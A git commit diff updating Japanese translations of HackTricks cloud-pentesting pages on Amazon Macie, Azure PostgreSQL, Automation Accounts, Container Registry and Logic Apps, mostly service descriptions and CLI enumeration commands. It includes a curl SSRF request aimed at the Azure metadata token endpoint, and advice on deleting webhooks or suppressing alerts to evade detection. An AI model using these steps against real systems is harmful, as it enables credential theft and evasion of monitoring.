Translated ['src/pentesting-cloud/azure-security/az-services/az-logic-ap

This commit is contained in:
Translator
2025-08-21 00:26:05 +00:00
parent d2e2467634
commit 57797383b3
21 changed files with 541 additions and 1988 deletions

View File

@@ -1,48 +1,142 @@
# Amazon Macie
## Introduction
{{#include ../../../banners/hacktricks-training.md}}
Amazon Macieは、機械学習とパターンマッチングを使用して機密データを発見し、データセキュリティリスクの可視化を提供し、これらのリスクに対する自動保護を可能にするデータセキュリティサービスです。
## Macie
## Listing Findings with AWS Console
Amazon Macieは、AWSアカウント内のデータを**自動的に検出、分類、特定する**ために設計されたサービスです。**機械学習**を活用してデータを継続的に監視・分析し、主に**cloud trail event**データやユーザー行動パターンを調査することで、異常または疑わしい活動を検出し、警告を発します。
特定のS3バケットを秘密情報や機密データのスキャンした後、発見された内容が生成され、コンソールに表示されます。十分な権限を持つ認可されたユーザーは、各ジョブのこれらの発見を表示およびリストすることができます。
Amazon Macieの主な機能
1. **アクティブデータレビュー**AWSアカウント内でさまざまなアクションが発生する際に、機械学習を用いてデータを積極的にレビューします。
2. **異常検出**:不規則な活動やアクセスパターンを特定し、潜在的なデータ露出リスクを軽減するための警告を生成します。
3. **継続的監視**Amazon S3内の新しいデータを自動的に監視・検出し、機械学習と人工知能を用いて時間の経過とともにデータアクセスパターンに適応します。
4. **NLPによるデータ分類**自然言語処理NLPを利用して異なるデータタイプを分類・解釈し、リスクスコアを割り当てて発見の優先順位を付けます。
5. **セキュリティ監視**APIキー、シークレットキー、個人情報などのセキュリティに敏感なデータを特定し、データ漏洩を防ぐ手助けをします。
Amazon Macieは**地域サービス**であり、機能には'AWSMacieServiceCustomerSetupRole' IAMロールと有効なAWS CloudTrailが必要です。
### アラートシステム
Macieは、以下のような事前定義されたカテゴリにアラートを分類します
- 匿名化されたアクセス
- データコンプライアンス
- 認証情報の喪失
- 権限の昇格
- ランサムウェア
- 疑わしいアクセスなど
これらのアラートは、効果的な対応と解決のための詳細な説明と結果の内訳を提供します。
### ダッシュボード機能
ダッシュボードは、データをさまざまなセクションに分類します:
- S3オブジェクト時間範囲、ACL、PIIによる
- 高リスクのCloudTrailイベント/ユーザー
- アクティビティの場所
- CloudTrailユーザーIDタイプなど。
### ユーザー分類
ユーザーは、API呼び出しのリスクレベルに基づいて階層に分類されます
- **プラチナ**高リスクのAPI呼び出し、しばしば管理者権限を持つ。
- **ゴールド**インフラ関連のAPI呼び出し。
- **シルバー**中リスクのAPI呼び出し。
- **ブロンズ**低リスクのAPI呼び出し。
### IDタイプ
IDタイプには、Root、IAMユーザー、仮想ロール、フェデレーテッドユーザー、AWSアカウント、AWSサービスが含まれ、リクエストのソースを示します。
### データ分類
データ分類には以下が含まれます:
- コンテンツタイプ:検出されたコンテンツタイプに基づく。
- ファイル拡張子:ファイル拡張子に基づく。
- テーマ:ファイル内のキーワードによって分類。
- 正規表現:特定の正規表現パターンに基づいて分類。
これらのカテゴリの中で最も高いリスクがファイルの最終リスクレベルを決定します。
### 研究と分析
Amazon Macieの研究機能は、すべてのMacieデータに対してカスタムクエリを実行し、詳細な分析を可能にします。フィルターにはCloudTrailデータ、S3バケットプロパティ、S3オブジェクトが含まれます。さらに、他のアカウントを招待してAmazon Macieを共有することをサポートし、共同データ管理とセキュリティ監視を促進します。
## AWSコンソールでの発見のリスト表示
特定のS3バケットをスキャンして秘密や機密データを探した後、発見が生成され、コンソールに表示されます。十分な権限を持つ認可されたユーザーは、各ジョブのこれらの発見を表示およびリスト化できます。
<img width="1438" alt="Screenshot 2025-02-10 at 19 08 08" src="https://github.com/user-attachments/assets/4420f13e-c071-4ae4-946b-6fe67449a9f6" />
## Revealing Secret
## 秘密の明示
Amazon Macieは、検出された秘密を平文形式で表示する機能を提供します。この機能は、侵害されたデータの特定に役立ちます。ただし、平文で秘密を表示することは、セキュリティ上の懸念から一般的にはベストプラクティスとは見なされません。なぜなら、機密情報が露出する可能性があるからです。
Amazon Macieは、検出された秘密を平文形式で表示する機能を提供します。この機能は、侵害されたデータの特定に役立ちます。ただし、秘密を平文で表示することは、セキュリティ上の懸念から一般的にはベストプラクティスとは見なされません。なぜなら、機密情報が露出する可能性があるからです。
<img width="596" alt="Screenshot 2025-02-10 at 19 13 53" src="https://github.com/user-attachments/assets/31c40c29-0bba-429b-8b86-4e214d1aef66" />
<img width="1154" alt="Screenshot 2025-02-10 at 19 15 11" src="https://github.com/user-attachments/assets/df616e56-a11a-41da-ac69-0bea37d143a5" />
## Enumeration
### 列挙
```bash
# List and describe classification jobs
aws macie2 list-classification-jobs --region eu-west-1
aws macie2 describe-classification-job --job-id <Job_ID> --region eu-west-1
# Get buckets
aws macie2 describe-buckets
# Org config
aws macie2 describe-organization-configuration
# Get admin account (if any)
aws macie2 get-administrator-account
aws macie2 list-organization-admin-accounts # Run from the management account of the org
# Get macie account members (run this from the admin account)
aws macie2 list-members
# Check if automated sensitive data discovey is enabled
aws macie2 get-automated-discovery-configuration
# Get findings
aws macie2 list-findings
aws macie2 get-findings --finding-ids <ids>
aws macie2 list-findings-filters
aws macie2 get -findings-filters --id <id>
# Get allow lists
aws macie2 list-allow-lists
aws macie2 get-allow-list --id <id>
# Get different info
aws macie2 list-classification-jobs
aws macie2 describe-classification-job --job-id <Job_ID>
aws macie2 list-classification-scopes
aws macie2 list-custom-data-identifiers
aws macie2 get-custom-data-identifier --id <Identifier_ID>
# Retrieve account details and statistics
aws macie2 get-macie-session --region eu-west-1
aws macie2 get-usage-statistics --region eu-west-1
# List and manage Macie members (for organizations)
aws macie2 list-members --region eu-west-1
# List findings and get detailed information about specific findings
aws macie2 list-findings --region eu-west-1
aws macie2 get-findings --finding-id <Finding_ID> --region eu-west-1
# Manage custom data identifiers
aws macie2 list-custom-data-identifiers --region eu-west-1
aws macie2 get-custom-data-identifier --id <Identifier_ID> --region eu-west-1
# List and detail findings filters
aws macie2 list-findings-filters --region eu-west-1
aws macie2 get-findings-filter --id <Filter_ID> --region eu-west-1
aws macie2 get-macie-session
aws macie2 get-usage-statistic
```
### Privesc
{{#ref}}
../aws-privilege-escalation/aws-macie-privesc.md
{{#endref}}
### Post Exploitation
> [!TIP]
> 攻撃者の視点から見ると、このサービスは攻撃者を検出するためではなく、保存されたファイル内の機密情報を検出するために作られています。したがって、このサービスは**攻撃者がバケット内の機密情報を見つけるのを助けるかもしれません**。\
> しかし、攻撃者は被害者がアラートを受け取るのを防ぎ、その情報をより簡単に盗むために、これを妨害することにも興味があるかもしれません。
TODO: PRs are welcome!
## References
- [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -9,27 +9,28 @@ PostgreSQL データベースに関する詳細情報は以下を確認してく
../az-services/az-postgresql.md
{{#endref}}
### pg_azure_storage 拡張機能を使用してストレージアカウントにアクセスする
PostgreSQL サーバーから Azure ストレージアカウントにアクセスするために、拡張機能 **`pg_azure_storage`** を使用することが可能です。これは、サーバーに割り当てられたマネージドアイデンティティの権限を使用してストレージアカウントにアクセスします。
この技術については、特権昇格セクションで説明されている内容を確認してください:
{{#ref}}
../az-privilege-escalation/az-postgresql-privesc.md
{{#endref}}
### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read`
この権限を持つことで、Azure の Postgres Flexible Server インスタンス内に新しいデータベースを作成できます。このアクション自体は既存のリソースを変更しませんが、過剰または不正なデータベースの作成はリソースの消費やサーバーの潜在的な悪用につながる可能性があります。
この権限を使用すると、Azure の Postgres フレキシブルサーバーインスタンス内に新しいデータベースを作成できます。このアクション自体は既存のリソースを変更しませんが、過剰または不正なデータベースの作成はリソースの消費やサーバーの潜在的な悪用につながる可能性があります。
```bash
az postgres flexible-server db create \
--server-name <server_name> \
--resource-group <resource_group_name> \
--database-name <database_name>
```
### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write`
この権限を持つことで、Azure上のPostgres Flexible Serverインスタンスのバックアップ作成を開始できます。これにより、ユーザーは特定の時点でのデータを保持するために、オンデマンドバックアップを生成することができます。
```bash
az postgres flexible-server backup create \
--name <server_name> \
--resource-group <resource_group_name>
--backup-name <backup_name>
```
### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read`
この権限を使用すると、Azure上のPostgres Flexible ServerインスタンスのAdvanced Threat Protection (ATP)設定を構成または更新できます。これにより、異常な活動や潜在的な脅威を検出し対応するために設計されたセキュリティ機能を有効または無効にすることができます。
この権限を使用すると、Azure上のPostgres Flexible ServerインスタンスのAdvanced Threat Protection (ATP)設定を構成または更新できます。これにより、異常な活動や潜在的な脅威を検出し対応するために設計されたセキュリティ機能を有効または無効にすることができます。
```bash
az postgres flexible-server threat-protection-policy update \
--name <server_name> \

View File

@@ -4,12 +4,12 @@
## 基本情報
Azure Automation Accountsは、Microsoft Azureのクラウドベースのサービスで、リソース管理、構成、更新などのタスクを**自動化**するのに役立ちます。これにより、**Runbooks**(実行される自動化用のスクリプト)、**スケジュール**、および**ハイブリッドワーカーグループ**を提供し、自動化**ジョブ**を実行できるようにし、インフラストラクチャをコードIaCとして扱い、クラウドリソースの管理における効率性と一貫性を向上させます。
Azure Automation Accountsは、Microsoft Azureのクラウドベースのサービスで、リソース管理、構成、更新などのタスクを**自動化**するのに役立ちます。これにより、Azureおよびオンプレミス環境全体での効率と一貫性を向上させるためのインフラストラクチャをコードIaCとして提供し、**Runbooks**(実行される自動化用のスクリプト)、**スケジュール**、および**ハイブリッドワーカーグループ**を提供します。
### 設定
- **資格情報**: パスワードは自動化アカウント内のRunbook内でのみアクセス可能で、**ユーザー名とパスワードを安全に保存する**ために使用されます。
- **変数**: Runbook内で使用できる**構成データ**を保存するために使用されます。これにはAPIキーのような機密情報も含まれる可能性があります。変数が**暗号化されて保存されている**場合、それは自動化アカウント内のRunbook内でのみ利用可能です。
- **変数**: Runbook内で使用できる**構成データ**を保存するために使用されます。これにはAPIキーなどの機密情報も含まれる可能性があります。変数が**暗号化されて保存されている**場合、それは自動化アカウント内のRunbook内でのみ利用可能です。
- **証明書**: Runbook内で使用できる**証明書**を保存するために使用されます。
- **接続**: 外部サービスへの**接続情報**を保存するために使用されます。これには**機密情報**が含まれる可能性があります。
- **ネットワークアクセス**: **公開**または**プライベート**に設定できます。
@@ -20,11 +20,11 @@ Azure AutomationのRunbookは、クラウド環境内でタスクを**自動的
**Runbooks**内の**コード**には**機密情報**(資格情報など)が含まれる可能性があります。
**ジョブはRunbook実行のインスタンス**です。Runbookを実行すると、実行を追跡するためジョブが作成されます。各ジョブには以下が含まれます:
**ジョブはRunbook実行のインスタンス**です。Runbookを実行すると、実行を追跡するためジョブが作成されます。各ジョブには以下が含まれます:
- **ステータス**: キュー待ち、実行中、完了、失敗、保留。
- **出力**: Runbook実行の結果。
- **開始時刻と終了時**: ジョブが開始された時刻と完了した時
- **開始および終了時**: ジョブが開始および完了した時
ジョブには**Runbook**実行の**出力**が含まれます。**ジョブ**を**読み取る**ことができる場合は、実行の**出力**(潜在的な**機密情報**)が含まれているため、必ず行ってください。
@@ -34,15 +34,15 @@ Runbookを実行する主な方法は3つあります
- **スケジュール**: 特定の**時間**または**間隔**でRunbookを**トリガー**するために使用されます。
- **Webhooks**: 外部サービスからRunbookを**トリガー**するために使用できる**HTTPエンドポイント**です。作成後、Webhook URLは**表示されません**。
- **手動トリガー**: AzureポータルCLIからRunbookを**手動でトリガー**できます。
- **手動トリガー**: AzureポータルおよびCLIからRunbookを**手動でトリガー**できます。
### ソース管理
**Github、Azure Devops (Git)、およびAzure Devops (TFVC)**からRunbooksをインポートすることができます。リポジトリのRunbooksをAzure Automationアカウントに公開するように指示することも、リポジトリからAzure Automationアカウントに**変更を同期**するように指示することも可能です。
**Github、Azure Devops (Git)、およびAzure Devops (TFVC)**からRunbookをインポートすることができます。リポジトリのRunbookをAzure Automationアカウントに公開するように指示することも、リポジトリからAzure Automationアカウントに**変更を同期**するように指示することも可能です。
同期が有効になっている場合、**GithubリポジトリにWebhookが作成され**、プッシュイベントが発生するたびに同期がトリガーされます。Webhook URLの例: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
これらのWebhookは、Githubリポジトリに関連付けられたRunbooksのWebhookをリストする際に**表示されません**。また、作成後にソース管理のリポジトリURLを**変更することはできません**。
これらのWebhookは、Githubリポジトリに関連付けられたRunbookのWebhookをリストする際に**表示されません**。また、作成後にソース管理のリポジトリURLを**変更することはできません**。
構成されたソース管理が機能するためには、**Azure Automation Account**に**`Contributor`**ロールを持つマネージドアイデンティティシステムまたはユーザーが必要です。さらに、Automation Accountにユーザーマネージドアイデンティティを割り当てるには、変数**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**にユーザーMIのクライアントIDを指定する必要があります。
@@ -61,19 +61,19 @@ Runbookを作成する際に、ランタイム環境を選択できます。デ
### ハイブリッドワーカーグループ
Azure Automationでは、Runbookのデフォルトの実行環境は**Azure Sandbox**であり、Azureリソースに関するタスクに適したAzureが管理するクラウドベースのプラットフォームです。ただし、このサンドボックスには、オンプレミスリソースへのアクセス制限や実行時間リソース使用の制約などの制限があります。これらの制限を克服するために、ハイブリッドワーカーグループが使用されます。ハイブリッドワーカーグループは、**自分のマシンにインストールされた1つ以上のハイブリッドRunbookワーカー**で構成され、オンプレミス、他のクラウド環境、またはAzure VM上で実行されます。このセットアップにより、Runbookはこれらのマシン上で直接実行され、ローカルリソースへの直接アクセス、より長くリソース集約的なタスクの実行、Azureの即時の範囲を超えた環境との相互作用の柔軟性が提供されます。
Azure Automationでは、Runbookのデフォルトの実行環境は**Azure Sandbox**であり、Azureによって管理されるクラウドベースのプラットフォームで、Azureリソースに関わるタスクに適しています。ただし、このサンドボックスには、オンプレミスリソースへのアクセス制限や実行時間およびリソース使用の制約などの制限があります。これらの制限を克服するために、ハイブリッドワーカーグループが使用されます。ハイブリッドワーカーグループは、**自分のマシンにインストールされた1つ以上のハイブリッドRunbookワーカー**で構成され、オンプレミス、他のクラウド環境、またはAzure VM上で動作します。このセットアップにより、Runbookはこれらのマシン上で直接実行され、ローカルリソースへの直接アクセス、より長くリソース集約的なタスクの実行、Azureの即時の範囲を超えた環境との相互作用の柔軟性が提供されます。
ハイブリッドワーカーグループを作成する際には、使用する**資格情報**を指定する必要があります。2つのオプションがあります
- **デフォルトの資格情報**: 資格情報を提供する必要はなく、Runbookは**System**としてVM内で実行されます。
- **特定の資格情報**: 自動化アカウント内の資格情報オブジェクトの名前を提供する必要があり、これが**VM内でRunbookを実行するために使用されます**。したがって、この場合、VMの**有効な資格情報を盗む**ことが可能です。
したがって、**ハイブリッドワーカー**で**Runbook**を実行することを選択できる場合、**System**として外部マシン内で**任意のコマンド**を実行ます(良いピボット技術)。
したがって、**ハイブリッドワーカー**で**Runbook**を実行することを選択できる場合、**System**として外部マシン内で**任意のコマンドを実行**することになります(良いピボット技術)。
さらに、ハイブリッドワーカーがAzureで他のマネージドアイデンティティと共に実行されている場合、Runbookは**RunbookのマネージドアイデンティティとVMのメタデータサービスからのすべてのマネージドアイデンティティ**にアクセスできます。
さらに、ハイブリッドワーカーがAzureで他のマネージドアイデンティティと共に実行されている場合、Runbookは**RunbookのマネージドアイデンティティとVMのすべてのマネージドアイデンティティにメタデータサービスからアクセスできる**ようになります。
> [!TIP]
> **メタデータサービス**のURLは、Automationアカウントのマネージドアイデンティティトークンを取得するサービスとは異なる**`http://169.254.169.254`**)ことを忘れないでください。
> **メタデータサービス**のURLは、Automationアカウントのマネージドアイデンティティトークンを取得するサービスとは異なるURL**`http://169.254.169.254`**であることを忘れないでください。
### 状態構成 (SC)
@@ -232,6 +232,12 @@ Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -R
../az-privilege-escalation/az-automation-accounts-privesc.md
{{#endref}}
## 永続性
{{#ref}}
../az-persistence/az-automation-accounts-persistence.md
{{#endref}}
## 参考文献
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)

View File

@@ -4,7 +4,7 @@
## 基本情報
Azure Container Registry (ACR) は、**Azure クラウド内でコンテナイメージを保存、管理、アクセスするための安全でプライベートなレジストリ**です。いくつかの Azure サービスとシームレスに統合され、大規模な自動ビルドおよびデプロイワークフローを提供します。地理的レプリケーションや脆弱性スキャンなどの機能を備えた ACR は、コンテナ化されたアプリケーションのエンタープライズグレードのセキュリティとコンプライアンスを確保するのに役立ちます。
Azure Container Registry (ACR) は、**Azure クラウド内でコンテナイメージを保存、管理、アクセスする**ための安全でプライベートなレジストリです。いくつかの Azure サービスとシームレスに統合され、大規模な自動ビルドおよびデプロイワークフローを提供します。地理的レプリケーションや脆弱性スキャンなどの機能を備えた ACR は、コンテナ化されたアプリケーションのエンタープライズグレードのセキュリティとコンプライアンスを確保するのに役立ちます。
### 権限
@@ -27,12 +27,12 @@ Azure Container Registry (ACR) は、**Azure クラウド内でコンテナイ
> [!WARNING]
> レジストリ名に大文字が含まれていても、**小文字**を使用してログイン、プッシュ、プルすることが非常に重要です。
ACR に認証する方法は 4 つあります
ACR に認証する方法は 4 つあります:
- **Entra ID を使用**: これは ACR に認証するための**デフォルト**の方法です。**`az acr login`** コマンドを使用して ACR に認証します。このコマンドは、**`~/.docker/config.json`** ファイルに資格情報を**保存**します。さらに、**クラウドシェル**のように Docker ソケットにアクセスできない環境からこのコマンドを実行している場合、**`--expose-token`** フラグを使用して ACR に認証するための**トークン**を取得できます。次に、ユーザー名として `00000000-0000-0000-0000-000000000000` を使用して認証する必要があります。例: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **管理者アカウントを使用**: 管理者ユーザーはデフォルトで無効になっていますが、有効にすることができ、その後、管理者アカウントの**ユーザー名**と**パスワード**を使用してレジストリにアクセスできます。この方法は、いくつかの Azure サービスが使用しているため、まだサポートされています。このユーザーには**2 つのパスワード**が作成され、どちらも有効です。`az acr update -n <acrName> --admin-enabled true` で有効にできます。ユーザー名は通常、レジストリ名です`admin` ではありません)
- **トークンを使用**: レジストリにアクセスするための**特定の `scope map`**(権限)を持つ**トークン**を作成することができます。その後、このトークンをユーザー名として使用し、生成されたパスワードのいずれかを使用してレジストリに認証できます。例: `docker login -u <registry-name> -p <password> aregistry-url`
- **サービスプリンシパルを使用**: **サービスプリンシパル**を作成し、イメージをプルするために **`AcrPull`** のようなロールを割り当てることができます。その後、SP appId をユーザー名として、生成されたシークレットをパスワードとして使用して**レジストリにログイン**できます。
- **Entra ID を使用**: これは ACR に認証するための**デフォルト**の方法です。**`az acr login`** コマンドを使用して ACR に認証します。このコマンドは、**`~/.docker/config.json`** ファイルに資格情報を**保存**します。さらに、**クラウドシェル**のように Docker ソケットにアクセスできない環境このコマンドを実行している場合、**`--expose-token`** フラグを使用して ACR に認証するための**トークン**を取得できます。次に、認証するにはユーザー名として `00000000-0000-0000-0000-000000000000` を使用します。例: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **管理者アカウントを使用**: 管理者ユーザーはデフォルトで無効になっていますが、有効にすることができ、その後、管理者アカウントの**ユーザー名**と**パスワード**を使用してレジストリにアクセスすることが可能になります。こは、いくつかの Azure サービスがこれを使用しているため、まだサポートされています。このユーザーには**2 つのパスワード**が作成され、どちらも有効です。`az acr update -n <acrName> --admin-enabled true` で有効にできます。ユーザー名は通常、レジストリ名(`admin` ではなく)です
- **トークンを使用**: レジストリにアクセスするための**特定の `scope map`**(権限)を持つ**トークン**を作成することが可能です。その後、トークンの名前をユーザー名として使用し、生成されたパスワードのいずれかを使用して`docker login -u <registry-name> -p <password> <registry-url>` でレジストリに認証できます。
- **サービスプリンシパルを使用**: **サービスプリンシパル**を作成し、イメージをプルするために **`AcrPull`** のようなロールを割り当てることが可能です。その後、SP appId をユーザー名として、生成されたシークレットをパスワードとして使用して**レジストリにログイン**できます。
レジストリへのアクセスを持つ SP を生成するための [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) からの例のスクリプト:
```bash
@@ -51,7 +51,7 @@ echo "Service principal password: $PASSWORD"
```
### 暗号化
**Premium SKU** のみが、画像やその他のアーティファクトの **静止状態での暗号化** をサポートしています。
**Premium SKU** のみが、画像やその他のアーティファクトの **静止の暗号化** をサポートしています。
### ネットワーキング
@@ -67,9 +67,9 @@ echo "Service principal password: $PASSWORD"
### ウェブフック
レジストリ内 **ウェブフックを作成** することが可能です。このウェブフックでは、**プッシュまたは削除アクションが実行されるたびにリクエストが送信されるURL** を指定する必要があります。さらに、ウェブフックは影響を受けるリポジトリ(画像)を示すスコープを指定できます。例えば、'foo:\*' はリポジトリ 'foo' の下のイベントを意味します。
レジストリ内 **ウェブフックを作成** することが可能です。このウェブフックでは、**プッシュまたは削除アクションが実行されるたびにリクエストが送信されるURL** を指定する必要があります。さらに、ウェブフックは影響を受けるリポジトリ(画像)を示すスコープを指定できます。例えば、'foo:\*' はリポジトリ 'foo' の下のイベントを意味します。
攻撃者の視点からは、レジストリで **アクションを実行する前にこれを確認** し、必要に応じて一時的に削除して検出を避けることが興味深いです。
攻撃者の視点からは、レジストリ**アクションを実行する前にこれを確認** し、必要に応じて一時的に削除して検出を避けることが興味深いです。
### 接続されたレジストリ
@@ -94,15 +94,15 @@ az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world
```
しかし、それは攻撃者の視点からはあまり興味深くない実行をトリガーします。なぜなら、それらには管理されたアイデンティティが付いていないからです。
しかし、**タスク**には**システムおよびユーザー管理アイデンティティ**を付けることができます。これらのタスクは、コンテナ内で**権限を昇格させる**のに役立ちます。権昇格のセクションでは、タスクを使用して権を昇格させる方法を見ることができます。
しかし、**tasks** には **system and user managed identity** を付けることができます。これらのタスクは、コンテナ内で **escalate privileges** に役立ちます。権昇格のセクションでは、タスクを使用して権を昇格させる方法を見ることができます。
### キャッシュ
### Cache
キャッシュ機能は、**外部リポジトリから画像をダウンロード**し、新しいバージョンをレジストリに保存することを可能にします。これは、Azure Vaultから資格情報を選択することで、いくつかの**資格情報を設定**する必要があります。
キャッシュ機能は、**download images from an external repository** を行い、新しいバージョンをレジストリに保存することを可能にします。Azure Vaultから資格情報を選択することで、いくつかの **credentials configured** を持つ必要があります。
これは攻撃者の視点から非常に興味深いです。なぜなら、攻撃者が資格情報にアクセスするのに十分な権限を持っている場合、**外部プラットフォームにピボット**することを可能にし、**外部リポジトリから画像をダウンロード**し、キャッシュを設定することは**持続メカニズム**としても使用できるからです。
これは攻撃者の視点から非常に興味深いです。なぜなら、攻撃者が資格情報にアクセスするのに十分な権限を持っている場合、**pivot to an external platform** を可能にし、**download images from an external repository** を行い、キャッシュを構成することは **persistence mechanism** としても使用できるからです。
## 列挙
## Enumeration
> [!WARNING]
> レジストリ名に大文字が含まれていても、アクセスするためのURLには小文字のみを使用することが非常に重要です。
@@ -143,10 +143,16 @@ az acr cache list --registry <registry-name>
# Get cache details
az acr cache show --name <cache-name> --registry <registry-name>
```
## 認証されていないアクセス
{{#ref}}
../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md
{{#endref}}
## 権限昇格とポストエクスプロイト
{{#ref}}
../az-privilege-escalation/az-automation-accounts-privesc.md
../az-privilege-escalation/az-container-registry-privesc.md
{{#endref}}
## 参考文献

View File

@@ -4,99 +4,174 @@
## 基本情報
Azure Logic Appsは、Microsoft Azureが提供するクラウドベースのサービスで、開発者が**さまざまなサービス**、データソース、アプリケーションを統合するワークフローを**作成および実行**できるようにします。これらのワークフローは、**ビジネスプロセスを自動化**し、タスクを調整し、異なるプラットフォーム間でデータ統合を行うように設計されています。
Azure Logic Appsは、開発者が**さまざまなサービス**、データソース、およびアプリケーションを統合するワークフローを**作成および実行**できるようにします。これらのワークフローは、**ビジネスプロセスを自動化**し、タスクを調整し、異なるプラットフォーム間でデータ統合を実行するように設計されています。
Logic Appsは、**幅広い事前構築されたコネクタ**を使用してワークフローを作成するためのビジュアルデザイナーを提供しており、Office 365、Dynamics CRM、Salesforceなどのさまざまなサービスに簡単に接続して対話できます。また、特定のニーズに合わせたカスタムコネクタを作成することもできます。
Logic Appsは、**幅広い事前構築されたコネクタ**を使用してワークフローを作成するための**ビジュアルデザイナー**を提供しさまざまなサービスに接続して相互作用するのを容易にします。
Logic Appを作成する際には、ワークフローの状態、実行履歴、アーティファクトを保存する外部ストレージアカウントを作成またはリンクする必要があります。このストレージは、監視のための診断設定で構成でき、ネットワークアクセス制限で保護するか、仮想ネットワークに統合して、入出力トラフィックを制御できます。
<figure><img src="../../../images/image (197).png" alt="https://infiniteblogs.blob.core.windows.net/medias/4de7fba4-1d43-465a-8c12-8da966a2cdb3_Overview.png"><figcaption></figcaption></figure>
### 例
- **データパイプラインの自動化**: Logic Appsは、Azure Data Factoryと組み合わせて**データ転送および変換プロセス**を自動化できます。これは、Azure SQL DatabaseやAzure Blob Storageなどのさまざまなデータストア間でデータを移動および変換するスケーラブルで信頼性の高いデータパイプラインを作成するのに役立ち、分析およびビジネスインテリジェンス操作を支援します。
- **Azure Functionsとの統合**: Logic Appsは、Azure Functionsと連携して、**必要に応じてスケールする洗練されたイベント駆動型アプリケーションを開発**し、他のAzureサービスとシームレスに統合できます。使用例としては、Logic Appを使用して、Azure Storageアカウントの変更などの特定のイベントに応じてAzure Functionをトリガーし、動的なデータ処理を可能にすることが挙げられます。
### LogicAPPの可視化
グラフィックでLogicAppを表示することができます
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
または、"**Logic app code view**"セクションでコードを確認することができます。
### SSRF保護
たとえ**Logic AppがSSRFに対して脆弱であっても**、Logic Appsはそれを許可しないため、メタデータから資格情報にアクセスすることはできません。
たとえば、次のようなものはトークンを返しません:
```bash
# The URL belongs to a Logic App vulenrable to SSRF
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
```
### ホスティングオプション
いくつかのホスティングオプションがあります:
* **消費型**
- **マルチテナント**:共有コンピューティングリソースを提供し、パブリッククラウドで運用され、操作ごとの料金モデルに従います。これは軽量でコスト効果の高いワークロードに最適です。これにより「シングルワークフロー」が展開されます。
- **マルチテナント**これは共有コンピューティングリソースを提供し、パブリッククラウドで動作し、操作ごとの料金モデルに従います。これは軽量でコスト効果の高いワークロードに最適です。これ「シングルワークフロー」と呼びます。
* **スタンダード**
- **ワークフローサービスプラン**ネットワーキングのためのVNET統合を持つ専用コンピューティングリソース、ワークフローサービスプランインスタンスごとに料金が発生します。これは、より高い制御を必要とする要求の厳しいワークロードに適しています。
- **アプリサービス環境V3**:完全な隔離とスケーラビリティを持つ専用コンピューティングリソースす。また、ネットワーキングのためにVNETと統合され、環境内のアプリサービスインスタンスに基づく料金モデルを使用します。
- **ハイブリッド**:ローカル処理とマルチクラウドサポートのために設計されています。顧客管理のコンピューティングリソースをローカルネットワークアクセスと共に許可し、Kubernetes Event-Driven Autoscaling (KEDA)を利用します。これは、コンテナアプリ接続環境に依存しています。
- **ワークフローサービスプラン**これは、ネットワーキングのためのVNET統合を持つ専用コンピューティングリソースを提供し、ワークフローサービスプランインスタンスごとに料金が発生します。これは、より高い制御を必要とする要求の厳しいワークロードに適しています。
- **App Service Environment V3**これは、完全な隔離とスケーラビリティを持つ専用コンピューティングリソースを提供します。また、ネットワーキングのためにVNETと統合され、環境内のApp Serviceインスタンスに基づく料金モデルを使用します。
- **ハイブリッド**これは、ローカル処理とマルチクラウドサポートのために設計されています。顧客管理のコンピューティングリソースをローカルネットワークアクセス許可し、Kubernetes Event-Driven Autoscaling (KEDA)を利用します。これは、コンテナアプリ接続環境に依存しています。
### 主な機能
- **ストレージ**Logic Appsは、ワークフローの状態、実行履歴を保存するために外部のAzure Storageアカウントを必要とし、Logic Appと同じリソースグループ内に存在する必要があります。
- **ネットワーキングとセキュリティ**Logic Appsは、パブリックまたはプライベートアクセスで構成できます。デフォルトでは、アプリはインターネットに開放されていますが、隔離された接続のためにAzure Virtual Networkと統合できます。
- **アプリケーションインサイト**Azure Monitor Application Insightsを通じてアプリケーションパフォーマンス管理APMを有効にし、パフォーマンスを追跡し、異常を検出し、分析を提供できます。
- **アクセス制御**Logic Appsは、システム管理のIDとユーザー管理のIDをサポートしています。
## "シングル" ワークフロー / 消費プラン
### "シングル" ワークフロー
**ワークフロー**は、特定のプロセスや目的を実行するための自動化されたステップまたはタスクの構造化されたシーケンスです。これは、異なるアクション、条件、および決定がどのように相互作用して望ましい結果を達成するかを定義し、操作を合理化し、手動の労力を削減します。
**ワークフロー**は、特定のプロセスや目的を実行するための自動化されたステップやタスクの構造化されたシーケンスです。異なるアクション、条件、決定がどのように相互作用して望ましい結果を達成するかを定義し、操作を合理化し、手動の労力を削減します。ワークフローは、複数のシステムを統合し、イベントやルールをトリガーし、プロセスの一貫性と効率を確保します。
> [!TIP]
> 消費プランでは、**Logic App自体を必要とせずにシングルワークフローを作成**できます。
Azure Logic Appsは、**Logic App自体を必要とせずにシングルワークフローを作成する機能**を提供します。
### トリガーとアクション
